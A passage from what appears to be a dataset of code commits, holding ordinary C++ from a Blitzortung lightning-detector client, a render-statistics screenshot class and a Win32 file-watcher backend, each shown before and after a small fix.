bo::hardware::pcb::Base::AP hardware;\n\n switch (pcbVersion) {\n case 4:\n hardware = bo::hardware::pcb::Base::AP(new bo::hardware::pcb::V4(serial, *gps, *sampleCreator));\n break;\n\n case 6:\n hardware = bo::hardware::pcb::Base::AP(new bo::hardware::pcb::V6(serial, *gps, *sampleCreator));\n break;\n\n default:\n std::ostringstream oss;\n oss << \"invalid pcb version: \" << pcbVersion;\n throw bo::exception::Base(oss.str());\n }\n\n \/\/! set credentials\/parameters for network connection\n bo::network::Creds creds;\n creds.setServername(servername);\n creds.setServerport(serverport);\n creds.setUsername(username);\n creds.setPassword(password);\n\n \/\/! create object of network driver for sample transmission\n bo::network::Base::AP network(new bo::network::Base(creds, sleepTime, eventRateLimit, outputFile));\n\n while (hardware->isOpen()) {\n\n bo::data::sample::Base::AP sample = hardware->read();\n\n if (sample.get() != 0) {\n network->push(sample);\n }\n\n }\n\n}\n<commit_msg>fix error message<commit_after>\/* \n\n Copyright (C) 2003-2010 Egon Wanke <blitzortung@gmx.org>\n Copyright (C) 2010 Andreas Würl <awuerl@gmx.net>\n\n*\/\n\n#include <iostream>\n#include <string>\n\n#include <boost\/program_options.hpp>\n\n#include \"namespaces.h\"\n#include \"hardware\/comm\/SerialPort.h\"\n#include \"hardware\/comm\/Serial.h\"\n#include \"hardware\/gps\/Garmin.h\"\n#include \"hardware\/gps\/Sirf.h\"\n#include \"hardware\/gps\/Sjn.h\"\n#include \"hardware\/pcb\/V4.h\"\n#include \"hardware\/pcb\/V6.h\"\n#include \"data\/sample\/V1.h\"\n#include \"network\/Base.h\"\n#include \"util\/RingBuffer.h\"\n#include \"exception\/Base.h\"\n#include \"Logger.h\"\n\nint main(int argc, char **argv) {\n\n std::string username, password, servername;\n unsigned short serverport;\n std::string serialPortName = \"\/dev\/ttyUSB0\";\n std::string outputFile = \"\";\n int serialBaudRate = 19200;\n int sleepTime = 20;\n int sampleVersion = 1;\n int pcbVersion = 6;\n double eventRateLimit = 1.0;\n std::string gpsType = \"sirf\";\n\n bo::Logger logger(\"\");\n\n \/\/ programm arguments\/options\n boost::program_options::options_description desc(\"program options\");\n desc.add_options()\n (\"help\", \"show program help\")\n (\"serial-device,d\", po::value<std::string>(&serialPortName)->default_value(serialPortName), \"path to serial device\")\n (\"baud-rate,b\", po::value<int>(&serialBaudRate)->default_value(serialBaudRate), \"baud rate of serial port (4800, 9600, 19200, 38400)\")\n (\"username,u\", po::value<std::string>(&username), \"username of blitzortung.org\")\n (\"password,p\", po::value<std::string>(&password), \"password of blitzortung.org\")\n (\"server-host,h\", po::value<std::string>(&servername), \"blitzortung.org servername\")\n (\"server-port\", po::value<unsigned short>(&serverport)->default_value(8308), \"blitzortung.org serverport\")\n (\"sleep-time,s\", po::value<int>(&sleepTime)->default_value(sleepTime), \"sleep time between data transmission\")\n (\"gps-type,g\", po::value<std::string>(&gpsType)->default_value(gpsType), \"type of gps device (sjn, garmin or sirf)\")\n (\"pcb-version\", po::value<int>(&pcbVersion)->default_value(pcbVersion), \"version of PCB (4 or 6)\")\n (\"event-rate-limit,l\", po::value<double>(&eventRateLimit)->default_value(eventRateLimit), \"limit of event rate (in events per second) 1.0 means max. 3600 events per hour\")\n (\"output,o\", po::value<std::string>(&outputFile), \"output file name (e.g. Name_%Y%m%d.bor)\")\n (\"verbose,v\", \"verbose mode\")\n (\"debug\", \"debug mode\")\n ;\n\n \/\/ parse command line options\n po::variables_map vm;\n po::store(po::command_line_parser(argc, argv).options(desc).run(), vm);\n po::notify(vm); \n\n \/\/ help output or no 'sql-statement' given\n if (vm.count(\"help\")) {\n std::cout << argv[0] << \" [options]\" << std::endl << std::endl;\n std::cout << desc << std::endl;\n std::cout << std::endl;\n\n return 1;\n }\n\n if (! vm.count(\"username\")) {\n std::cerr << \"'username' missing\\n\";\n return 5;\n }\n \n if (! vm.count(\"password\")) {\n std::cerr << \"'password' missing\\n\";\n return 5;\n }\n \n if (! vm.count(\"server-host\")) {\n std::cerr << \"'server-host' missing\\n\";\n return 5;\n }\n\n \/\/ logging setup\n\n logger.setPriority(log4cpp::Priority::NOTICE);\n\n if (vm.count(\"verbose\")) {\n logger.setPriority(log4cpp::Priority::INFO);\n }\n\n if (vm.count(\"debug\")) {\n logger.setPriority(log4cpp::Priority::DEBUG);\n }\n \n\n switch (serialBaudRate) {\n case 4800:\n case 9600:\n case 19200:\n case 38400:\n break;\n\n default:\n std::ostringstream oss;\n oss << \"invalid serial baud rate: \" << serialBaudRate;\n throw bo::exception::Base(oss.str());\n }\n\n \/\/ create serial port object\n\n bo::hardware::comm::SerialPort serialPort(serialPortName, serialBaudRate);\n bo::hardware::comm::Serial serial(serialPort);\n\n \/\/ select type of gps hardware\n\n bo::hardware::gps::Base::AP gps;\n\n if (gpsType == \"garmin\") {\n gps = bo::hardware::gps::Base::AP(new bo::hardware::gps::Garmin(serial));\n } else if (gpsType == \"sirf\") {\n gps = bo::hardware::gps::Base::AP(new bo::hardware::gps::Sirf(serial));\n } else if (gpsType == \"sjn\") {\n gps = bo::hardware::gps::Base::AP(new bo::hardware::gps::Sjn(serial));\n } else {\n std::ostringstream oss;\n oss << \"invalid value of gps-type: '\" << gpsType << \"'\";\n throw bo::exception::Base(oss.str());\n }\n\n\n \/\/ create sample creator object\n std::auto_ptr<bo::data::sample::Base::Creator> sampleCreator;\n\n switch (sampleVersion) {\n case 1:\n sampleCreator = std::auto_ptr<bo::data::sample::Base::Creator>(new bo::data::sample::V1::Creator());\n break;\n\n default:\n std::ostringstream oss;\n oss << \"invalid sample version: \" << sampleVersion;\n throw bo::exception::Base(oss.str());\n }\n\n \/\/ create hardware driver object for blitzortung measurement hardware\n bo::hardware::pcb::Base::AP hardware;\n\n switch (pcbVersion) {\n case 4:\n hardware = bo::hardware::pcb::Base::AP(new bo::hardware::pcb::V4(serial, *gps, *sampleCreator));\n break;\n\n case 6:\n hardware = bo::hardware::pcb::Base::AP(new bo::hardware::pcb::V6(serial, *gps, *sampleCreator));\n break;\n\n default:\n std::ostringstream oss;\n oss << \"invalid pcb version: \" << pcbVersion;\n throw bo::exception::Base(oss.str());\n }\n\n \/\/! set credentials\/parameters for network connection\n bo::network::Creds creds;\n creds.setServername(servername);\n creds.setServerport(serverport);\n creds.setUsername(username);\n creds.setPassword(password);\n\n \/\/! create object of network driver for sample transmission\n bo::network::Base::AP network(new bo::network::Base(creds, sleepTime, eventRateLimit, outputFile));\n\n while (hardware->isOpen()) {\n\n bo::data::sample::Base::AP sample = hardware->read();\n\n if (sample.get() != 0) {\n network->push(sample);\n }\n\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"StatScreen.h\"\n#include \"RenderTarget.h\"\n#include \"RenderContext.h\"\n#include \"gum\/StringHelper.h\"\n\n#include <gimg_typedef.h>\n#include <gimg_export.h>\n#include <unirender\/UR_RenderContext.h>\n#include <dtex2\/DebugDraw.h>\n\n#include <time.h>\n\nnamespace gum\n{\n\nSINGLETON_DEFINITION(StatScreen);\n\nStatScreen::StatScreen()\n\t: m_enable(false)\n\t, m_rt(NULL)\n\t, m_x(0)\n\t, m_y(0)\n{\n}\n\nvoid StatScreen::Enable(bool enable)\n{\n\tif (m_enable == enable) {\n\t\treturn;\n\t}\n\n\tm_enable = enable;\n\n\tif (enable) {\n\t\tm_rt = new RenderTarget(RT_EDGE, RT_EDGE);\n#ifdef __ANDROID__\n\t\tstd::string filepath = \"\/sdcard\/lr_stat_screen.bin\";\n#else\n\t\tstd::string filepath = \"lr_stat_screen.bin\";\n#endif \/\/ __ANDROID__\n\t\tm_fout.open(filepath.c_str(), std::ofstream::out | std::ofstream::binary | std::ofstream::app);\n\t} else {\n\t\tdelete m_rt;\n\n\t\tm_fout.close();\n\t}\n}\n\nvoid StatScreen::Print(const RenderTarget* src)\n{\n\tif (!m_enable) {\n\t\treturn;\n\t}\n\n\ttime_t t = time(NULL);\n\tm_timestamps[m_y * GRID_COUNT + m_x] = t;\n\n\tsm::rect r_src;\n\tr_src.xmin = r_src.ymin = 0;\n\tr_src.xmax = r_src.ymax = 1;\n\n\tsm::rect r_dst;\n\tstatic const float GRID_TEXCOORD_EDGE = 1.0f \/ GRID_COUNT;\n\tr_dst.xmin = static_cast<float>(m_x) \/ GRID_COUNT;\n\tr_dst.xmax = r_dst.xmin + GRID_TEXCOORD_EDGE;\n\tr_dst.ymin = static_cast<float>(m_y) \/ GRID_COUNT;\n\tr_dst.ymax = r_dst.ymin + GRID_TEXCOORD_EDGE;\n\n\tm_rt->Bind();\n\tsrc->Draw(r_src, r_dst, RT_EDGE, RT_EDGE);\n\tm_rt->Unbind();\n\t\n\t\/\/ to next grid\n\t++m_x;\n\tif (m_x == GRID_COUNT) {\n\t\tm_x = 0;\n\t\t++m_y;\n\t}\n\tif (m_y == GRID_COUNT) {\n\t\tm_y = 0;\n\t}\n}\n\nvoid StatScreen::Clear()\n{\n\tm_x = m_y = 0;\n\tmemset(m_timestamps, 0, sizeof(m_timestamps));\n}\n\nvoid StatScreen::Flush()\n{\n\tif (!m_enable) {\n\t\treturn;\n\t}\n\n\ttime_t first_time = m_timestamps[0];\n\n\tfor (int y = 0; y < GRID_COUNT; ++y) {\n\t\tfor (int x = 0; x < GRID_COUNT; ++x) {\n\t\t\tint idx = y * GRID_COUNT + x;\n\t\t\ttime_t time = m_timestamps[idx];\n\t\t\tif (time != 0) {\n\t\t\t\tm_fout << \"timestamp \" << time << \", x \" << x << \", y \" << y << \", file \" << first_time << \".png\" << '\\n';\n\t\t\t}\n\t\t}\n\t}\n\tm_fout.flush();\n\n\tint next = m_y * GRID_COUNT + m_x;\n\n\tm_rt->Bind();\n\n\tuint8_t* pixels = new uint8_t[RT_EDGE * RT_EDGE * 3];\n\tmemset(pixels, 0, RT_EDGE * RT_EDGE * 3);\n\tRenderContext::Instance()->GetImpl()->ReadPixels(pixels, 3, 0, 0, RT_EDGE, RT_EDGE);\n\tstd::string filepath = StringHelper::ToString(first_time) + \".png\";\n\tgimg_export(filepath.c_str(), pixels, RT_EDGE, RT_EDGE, GPF_RGB, true);\n\tdelete[] pixels;\n\n\tm_rt->Unbind();\n}\n\nvoid StatScreen::DebugDraw() const\n{\n\tif (m_enable) {\n\t\tint texid = m_rt->GetTexID();\n\t\tdtex::DebugDraw::Draw(texid, 1);\n\t}\n}\n\n}<commit_msg>fix include<commit_after>#include \"StatScreen.h\"\n#include \"RenderTarget.h\"\n#include \"RenderContext.h\"\n#include \"gum\/StringHelper.h\"\n\n#include <gimg_typedef.h>\n#include <gimg_export.h>\n#include <unirender\/UR_RenderContext.h>\n#include <dtex2\/DebugDraw.h>\n\n#include <time.h>\n#include <string.h>\n\nnamespace gum\n{\n\nSINGLETON_DEFINITION(StatScreen);\n\nStatScreen::StatScreen()\n\t: m_enable(false)\n\t, m_rt(NULL)\n\t, m_x(0)\n\t, m_y(0)\n{\n}\n\nvoid StatScreen::Enable(bool enable)\n{\n\tif (m_enable == enable) {\n\t\treturn;\n\t}\n\n\tm_enable = enable;\n\n\tif (enable) {\n\t\tm_rt = new RenderTarget(RT_EDGE, RT_EDGE);\n#ifdef __ANDROID__\n\t\tstd::string filepath = \"\/sdcard\/lr_stat_screen.bin\";\n#else\n\t\tstd::string filepath = \"lr_stat_screen.bin\";\n#endif \/\/ __ANDROID__\n\t\tm_fout.open(filepath.c_str(), std::ofstream::out | std::ofstream::binary | std::ofstream::app);\n\t} else {\n\t\tdelete m_rt;\n\n\t\tm_fout.close();\n\t}\n}\n\nvoid StatScreen::Print(const RenderTarget* src)\n{\n\tif (!m_enable) {\n\t\treturn;\n\t}\n\n\ttime_t t = time(NULL);\n\tm_timestamps[m_y * GRID_COUNT + m_x] = t;\n\n\tsm::rect r_src;\n\tr_src.xmin = r_src.ymin = 0;\n\tr_src.xmax = r_src.ymax = 1;\n\n\tsm::rect r_dst;\n\tstatic const float GRID_TEXCOORD_EDGE = 1.0f \/ GRID_COUNT;\n\tr_dst.xmin = static_cast<float>(m_x) \/ GRID_COUNT;\n\tr_dst.xmax = r_dst.xmin + GRID_TEXCOORD_EDGE;\n\tr_dst.ymin = static_cast<float>(m_y) \/ GRID_COUNT;\n\tr_dst.ymax = r_dst.ymin + GRID_TEXCOORD_EDGE;\n\n\tm_rt->Bind();\n\tsrc->Draw(r_src, r_dst, RT_EDGE, RT_EDGE);\n\tm_rt->Unbind();\n\t\n\t\/\/ to next grid\n\t++m_x;\n\tif (m_x == GRID_COUNT) {\n\t\tm_x = 0;\n\t\t++m_y;\n\t}\n\tif (m_y == GRID_COUNT) {\n\t\tm_y = 0;\n\t}\n}\n\nvoid StatScreen::Clear()\n{\n\tm_x = m_y = 0;\n\tmemset(m_timestamps, 0, sizeof(m_timestamps));\n}\n\nvoid StatScreen::Flush()\n{\n\tif (!m_enable) {\n\t\treturn;\n\t}\n\n\ttime_t first_time = m_timestamps[0];\n\n\tfor (int y = 0; y < GRID_COUNT; ++y) {\n\t\tfor (int x = 0; x < GRID_COUNT; ++x) {\n\t\t\tint idx = y * GRID_COUNT + x;\n\t\t\ttime_t time = m_timestamps[idx];\n\t\t\tif (time != 0) {\n\t\t\t\tm_fout << \"timestamp \" << time << \", x \" << x << \", y \" << y << \", file \" << first_time << \".png\" << '\\n';\n\t\t\t}\n\t\t}\n\t}\n\tm_fout.flush();\n\n\tint next = m_y * GRID_COUNT + m_x;\n\n\tm_rt->Bind();\n\n\tuint8_t* pixels = new uint8_t[RT_EDGE * RT_EDGE * 3];\n\tmemset(pixels, 0, RT_EDGE * RT_EDGE * 3);\n\tRenderContext::Instance()->GetImpl()->ReadPixels(pixels, 3, 0, 0, RT_EDGE, RT_EDGE);\n\tstd::string filepath = StringHelper::ToString(first_time) + \".png\";\n\tgimg_export(filepath.c_str(), pixels, RT_EDGE, RT_EDGE, GPF_RGB, true);\n\tdelete[] pixels;\n\n\tm_rt->Unbind();\n}\n\nvoid StatScreen::DebugDraw() const\n{\n\tif (m_enable) {\n\t\tint texid = m_rt->GetTexID();\n\t\tdtex::DebugDraw::Draw(texid, 1);\n\t}\n}\n\n}<|endoftext|>"} {"text":"<commit_before>#include <efsw\/FileWatcherWin32.hpp>\r\n#include <efsw\/FileSystem.hpp>\r\n#include <efsw\/System.hpp>\r\n\r\n#if EFSW_PLATFORM == EFSW_PLATFORM_WIN32\r\n\r\nnamespace efsw\r\n{\r\n\r\nFileWatcherWin32::FileWatcherWin32( FileWatcher * parent ) :\r\n\tFileWatcherImpl( parent ),\r\n\tmLastWatchID(0),\r\n\tmThread( NULL )\r\n{\r\n\tmInitOK = true;\r\n}\r\n\r\nFileWatcherWin32::~FileWatcherWin32()\r\n{\r\n\tWatchVector::iterator iter = mWatches.begin();\r\n\r\n\tfor(; iter != mWatches.end(); ++iter)\r\n\t{\r\n\t\tDestroyWatch((*iter));\r\n\t}\r\n\r\n\tmHandles.clear();\r\n\tmWatches.clear();\r\n\r\n\tmInitOK = false;\r\n\r\n\tmThread->wait();\r\n\r\n\tefSAFE_DELETE( mThread );\r\n}\r\n\r\nWatchID FileWatcherWin32::addWatch(const std::string& directory, FileWatchListener* watcher, bool recursive)\r\n{\r\n\tstd::string dir( directory );\r\n\r\n\tFileInfo fi( dir );\r\n\r\n\tif ( !fi.isDirectory() )\r\n\t{\r\n\t\treturn Errors::Log::createLastError( Errors::FileNotFound, dir );\r\n\t}\r\n\telse if ( !fi.isReadable() )\r\n\t{\r\n\t\treturn Errors::Log::createLastError( Errors::FileNotReadable, dir );\r\n\t}\r\n\r\n\tFileSystem::dirAddSlashAtEnd( dir );\r\n\r\n\tWatchID watchid = ++mLastWatchID;\r\n\r\n\tWatcherStructWin32 * watch = CreateWatch( dir.c_str(), recursive,\tFILE_NOTIFY_CHANGE_CREATION |\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFILE_NOTIFY_CHANGE_SIZE |\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFILE_NOTIFY_CHANGE_FILE_NAME |\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFILE_NOTIFY_CHANGE_DIR_NAME\r\n\t);\r\n\r\n\tif( NULL == watch )\r\n\t{\r\n\t\treturn Errors::Log::createLastError( Errors::FileNotFound, dir );\r\n\t}\r\n\r\n\tif ( pathInWatches( dir ) )\r\n\t{\r\n\t\treturn Errors::Log::createLastError( Errors::FileRepeated, dir );\r\n\t}\r\n\r\n\t\/\/ Add the handle to the handles vector\r\n\twatch->Watch->ID = watchid;\r\n\twatch->Watch->Watch = this;\r\n\twatch->Watch->Listener = watcher;\r\n\twatch->Watch->DirName = new char[dir.length()+1];\r\n\tstrcpy(watch->Watch->DirName, dir.c_str());\r\n\r\n\tmWatchesLock.lock();\r\n\tmHandles.push_back( watch->Watch->DirHandle );\r\n\tmWatches.push_back( watch );\r\n\tmWatchesLock.unlock();\r\n\r\n\treturn watchid;\r\n}\r\n\r\nvoid FileWatcherWin32::removeWatch(const std::string& directory)\r\n{\r\n\tmWatchesLock.lock();\r\n\r\n\tWatchVector::iterator iter = mWatches.begin();\r\n\r\n\tfor(; iter != mWatches.end(); ++iter)\r\n\t{\r\n\t\tif(directory == (*iter)->Watch->DirName)\r\n\t\t{\r\n\t\t\tremoveWatch((*iter)->Watch->ID);\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\r\n\tmWatchesLock.unlock();\r\n}\r\n\r\nvoid FileWatcherWin32::removeWatch(WatchID watchid)\r\n{\r\n\tmWatchesLock.lock();\r\n\r\n\tWatchVector::iterator iter = mWatches.begin();\r\n\r\n\tWatcherStructWin32* watch = NULL;\r\n\r\n\tfor(; iter != mWatches.end(); ++iter)\r\n\t{\r\n\t\t\/\/ Find the watch ID\r\n\t\tif ( (*iter)->Watch->ID == watchid )\r\n\t\t{\r\n\t\t\twatch\t= (*iter);\r\n\r\n\t\t\tmWatches.erase( iter );\r\n\r\n\t\t\t\/\/ Remove handle from the handle vector\r\n\t\t\tHandleVector::iterator it = mHandles.begin();\r\n\r\n\t\t\tfor ( ; it != mHandles.end(); it++ )\r\n\t\t\t{\r\n\t\t\t\tif ( watch->Watch->DirHandle == (*it) )\r\n\t\t\t\t{\r\n\t\t\t\t\tmHandles.erase( it );\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tDestroyWatch(watch);\r\n\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tmWatchesLock.unlock();\r\n}\r\n\r\nvoid FileWatcherWin32::watch()\r\n{\r\n\tif ( NULL == mThread )\r\n\t{\r\n\t\tmThread = new Thread( &FileWatcherWin32::run, this );\r\n\t\tmThread->launch();\r\n\t}\r\n}\r\n\r\nvoid FileWatcherWin32::run()\r\n{\r\n\tdo\r\n\t{\r\n\t\tDWORD wait_result = WaitForMultipleObjectsEx( mHandles.size(), &mHandles[0], FALSE, 1000, FALSE );\r\n\r\n\t\tswitch ( wait_result )\r\n\t\t{\r\n\t\t\tcase WAIT_ABANDONED_0:\r\n\t\t\tcase WAIT_ABANDONED_0 + 1:\r\n\t\t\t\t\/\/\"Wait abandoned.\"\r\n\t\t\t\tbreak;\r\n\t\t\tcase WAIT_TIMEOUT:\r\n\t\t\t\tbreak;\r\n\t\t\tcase WAIT_FAILED:\r\n\t\t\t\t\/\/\"Wait failed.\"\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t{\r\n\t\t\t\tmWatchesLock.lock();\r\n\r\n\t\t\t\t\/\/ Don't trust the result - multiple objects may be signalled during a single call.\r\n\t\t\t\tif ( wait_result >= WAIT_OBJECT_0 && wait_result < WAIT_OBJECT_0 + mWatches.size() )\r\n\t\t\t\t{\r\n\t\t\t\t\tWatcherStructWin32 * watch = mWatches[ wait_result ];\r\n\r\n\t\t\t\t\t\/\/ First ensure that the handle is the same, this means that the watch was not removed.\r\n\t\t\t\t\tif ( mHandles[ wait_result ] == watch->Watch->DirHandle && HasOverlappedIoCompleted( &watch->Overlapped ) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tDWORD bytes;\r\n\r\n\t\t\t\t\t\tif ( GetOverlappedResult( watch->Watch->DirHandle, &watch->Overlapped, &bytes, FALSE ) )\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tWatchCallback( ERROR_SUCCESS, bytes, &watch->Overlapped );\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\/\/\"GetOverlappedResult failed.\"\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\/\/\"Unknown return value from WaitForMultipleObjectsEx.\"\r\n\t\t\t\t}\r\n\r\n\t\t\t\tmWatchesLock.unlock();\r\n\t\t\t}\r\n\t\t}\r\n\t} while ( mInitOK );\r\n}\r\n\r\nvoid FileWatcherWin32::handleAction(Watcher* watch, const std::string& filename, unsigned long action, std::string oldFilename)\r\n{\r\n\tAction fwAction;\r\n\r\n\tswitch(action)\r\n\t{\r\n\tcase FILE_ACTION_RENAMED_OLD_NAME:\r\n\t\twatch->OldFileName = filename;\r\n\t\tbreak;\r\n\tcase FILE_ACTION_ADDED:\r\n\t\tfwAction = Actions::Add;\r\n\t\tbreak;\r\n\tcase FILE_ACTION_RENAMED_NEW_NAME:\r\n\t{\r\n\t\tfwAction = Actions::Moved;\r\n\r\n\t\tstd::string fpath( watch->Directory + filename );\r\n\r\n\t\t\/\/ Update the directory path\r\n\t\tif ( watch->Recursive && FileSystem::isDirectory( fpath ) )\r\n\t\t{\r\n\t\t\t\/\/ Update the new directory path\r\n\t\t\tstd::string opath( watch->Directory + watch->OldFileName );\r\n\t\t\tFileSystem::dirAddSlashAtEnd( opath );\r\n\t\t\tFileSystem::dirAddSlashAtEnd( fpath );\r\n\r\n\t\t\tfor ( WatchVector::iterator it = mWatches.begin(); it != mWatches.end(); it++ )\r\n\t\t\t{\r\n\t\t\t\tif ( (*it)->Watch->Directory == opath )\r\n\t\t\t\t{\r\n\t\t\t\t\t(*it)->Watch->Directory = fpath;\r\n\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\twatch->Listener->handleFileAction(watch->ID, static_cast<WatcherWin32*>( watch )->DirName, filename, fwAction, watch->OldFileName);\r\n\t\treturn;\r\n\t}\r\n\tcase FILE_ACTION_REMOVED:\r\n\t\tfwAction = Actions::Delete;\r\n\t\tbreak;\r\n\tcase FILE_ACTION_MODIFIED:\r\n\t\tfwAction = Actions::Modified;\r\n\t\tbreak;\r\n\t};\r\n\r\n\twatch->Listener->handleFileAction(watch->ID, static_cast<WatcherWin32*>( watch )->DirName, filename, fwAction);\r\n}\r\n\r\nstd::list<std::string> FileWatcherWin32::directories()\r\n{\r\n\tstd::list<std::string> dirs;\r\n\r\n\tmWatchesLock.lock();\r\n\r\n\tfor ( WatchVector::iterator it = mWatches.begin(); it != mWatches.end(); it++ )\r\n\t{\r\n\t\tdirs.push_back( std::string( (*it)->Watch->DirName ) );\r\n\t}\r\n\r\n\tmWatchesLock.unlock();\r\n\r\n\treturn dirs;\r\n}\r\n\r\nbool FileWatcherWin32::pathInWatches( const std::string& path )\r\n{\r\n\tfor ( WatchVector::iterator it = mWatches.begin(); it != mWatches.end(); it++ )\r\n\t{\r\n\t\tif ( (*it)->Watch->DirName == path )\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n\r\n}\r\n\r\n#endif\r\n<commit_msg>Small fix in Win32 backend.<commit_after>#include <efsw\/FileWatcherWin32.hpp>\r\n#include <efsw\/FileSystem.hpp>\r\n#include <efsw\/System.hpp>\r\n\r\n#if EFSW_PLATFORM == EFSW_PLATFORM_WIN32\r\n\r\nnamespace efsw\r\n{\r\n\r\nFileWatcherWin32::FileWatcherWin32( FileWatcher * parent ) :\r\n\tFileWatcherImpl( parent ),\r\n\tmLastWatchID(0),\r\n\tmThread( NULL )\r\n{\r\n\tmInitOK = true;\r\n}\r\n\r\nFileWatcherWin32::~FileWatcherWin32()\r\n{\r\n\tWatchVector::iterator iter = mWatches.begin();\r\n\r\n\tfor(; iter != mWatches.end(); ++iter)\r\n\t{\r\n\t\tDestroyWatch((*iter));\r\n\t}\r\n\r\n\tmHandles.clear();\r\n\tmWatches.clear();\r\n\r\n\tmInitOK = false;\r\n\r\n\tmThread->wait();\r\n\r\n\tefSAFE_DELETE( mThread );\r\n}\r\n\r\nWatchID FileWatcherWin32::addWatch(const std::string& directory, FileWatchListener* watcher, bool recursive)\r\n{\r\n\tstd::string dir( directory );\r\n\r\n\tFileInfo fi( dir );\r\n\r\n\tif ( !fi.isDirectory() )\r\n\t{\r\n\t\treturn Errors::Log::createLastError( Errors::FileNotFound, dir );\r\n\t}\r\n\telse if ( !fi.isReadable() )\r\n\t{\r\n\t\treturn Errors::Log::createLastError( Errors::FileNotReadable, dir );\r\n\t}\r\n\r\n\tFileSystem::dirAddSlashAtEnd( dir );\r\n\r\n\tWatchID watchid = ++mLastWatchID;\r\n\r\n\tWatcherStructWin32 * watch = CreateWatch( dir.c_str(), recursive,\tFILE_NOTIFY_CHANGE_CREATION |\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFILE_NOTIFY_CHANGE_SIZE |\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFILE_NOTIFY_CHANGE_FILE_NAME |\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFILE_NOTIFY_CHANGE_DIR_NAME\r\n\t);\r\n\r\n\tif( NULL == watch )\r\n\t{\r\n\t\treturn Errors::Log::createLastError( Errors::FileNotFound, dir );\r\n\t}\r\n\r\n\tif ( pathInWatches( dir ) )\r\n\t{\r\n\t\treturn Errors::Log::createLastError( Errors::FileRepeated, dir );\r\n\t}\r\n\r\n\t\/\/ Add the handle to the handles vector\r\n\twatch->Watch->ID = watchid;\r\n\twatch->Watch->Watch = this;\r\n\twatch->Watch->Listener = watcher;\r\n\twatch->Watch->DirName = new char[dir.length()+1];\r\n\tstrcpy(watch->Watch->DirName, dir.c_str());\r\n\r\n\tmWatchesLock.lock();\r\n\tmHandles.push_back( watch->Watch->DirHandle );\r\n\tmWatches.push_back( watch );\r\n\tmWatchesLock.unlock();\r\n\r\n\treturn watchid;\r\n}\r\n\r\nvoid FileWatcherWin32::removeWatch(const std::string& directory)\r\n{\r\n\tmWatchesLock.lock();\r\n\r\n\tWatchVector::iterator iter = mWatches.begin();\r\n\r\n\tfor(; iter != mWatches.end(); ++iter)\r\n\t{\r\n\t\tif(directory == (*iter)->Watch->DirName)\r\n\t\t{\r\n\t\t\tremoveWatch((*iter)->Watch->ID);\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\r\n\tmWatchesLock.unlock();\r\n}\r\n\r\nvoid FileWatcherWin32::removeWatch(WatchID watchid)\r\n{\r\n\tmWatchesLock.lock();\r\n\r\n\tWatchVector::iterator iter = mWatches.begin();\r\n\r\n\tWatcherStructWin32* watch = NULL;\r\n\r\n\tfor(; iter != mWatches.end(); ++iter)\r\n\t{\r\n\t\t\/\/ Find the watch ID\r\n\t\tif ( (*iter)->Watch->ID == watchid )\r\n\t\t{\r\n\t\t\twatch\t= (*iter);\r\n\r\n\t\t\tmWatches.erase( iter );\r\n\r\n\t\t\t\/\/ Remove handle from the handle vector\r\n\t\t\tHandleVector::iterator it = mHandles.begin();\r\n\r\n\t\t\tfor ( ; it != mHandles.end(); it++ )\r\n\t\t\t{\r\n\t\t\t\tif ( watch->Watch->DirHandle == (*it) )\r\n\t\t\t\t{\r\n\t\t\t\t\tmHandles.erase( it );\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tDestroyWatch(watch);\r\n\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tmWatchesLock.unlock();\r\n}\r\n\r\nvoid FileWatcherWin32::watch()\r\n{\r\n\tif ( NULL == mThread )\r\n\t{\r\n\t\tmThread = new Thread( &FileWatcherWin32::run, this );\r\n\t\tmThread->launch();\r\n\t}\r\n}\r\n\r\nvoid FileWatcherWin32::run()\r\n{\r\n\tdo\r\n\t{\r\n\t\tDWORD wait_result = WaitForMultipleObjectsEx( mHandles.size(), &mHandles[0], FALSE, 1000, FALSE );\r\n\r\n\t\tswitch ( wait_result )\r\n\t\t{\r\n\t\t\tcase WAIT_ABANDONED_0:\r\n\t\t\tcase WAIT_ABANDONED_0 + 1:\r\n\t\t\t\t\/\/\"Wait abandoned.\"\r\n\t\t\t\tbreak;\r\n\t\t\tcase WAIT_TIMEOUT:\r\n\t\t\t\tbreak;\r\n\t\t\tcase WAIT_FAILED:\r\n\t\t\t\t\/\/\"Wait failed.\"\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t{\r\n\t\t\t\tmWatchesLock.lock();\r\n\r\n\t\t\t\t\/\/ Don't trust the result - multiple objects may be signalled during a single call.\r\n\t\t\t\tif ( wait_result >= WAIT_OBJECT_0 && wait_result < WAIT_OBJECT_0 + mWatches.size() )\r\n\t\t\t\t{\r\n\t\t\t\t\tWatcherStructWin32 * watch = mWatches[ wait_result ];\r\n\r\n\t\t\t\t\t\/\/ First ensure that the handle is the same, this means that the watch was not removed.\r\n\t\t\t\t\tif ( mHandles[ wait_result ] == watch->Watch->DirHandle && HasOverlappedIoCompleted( 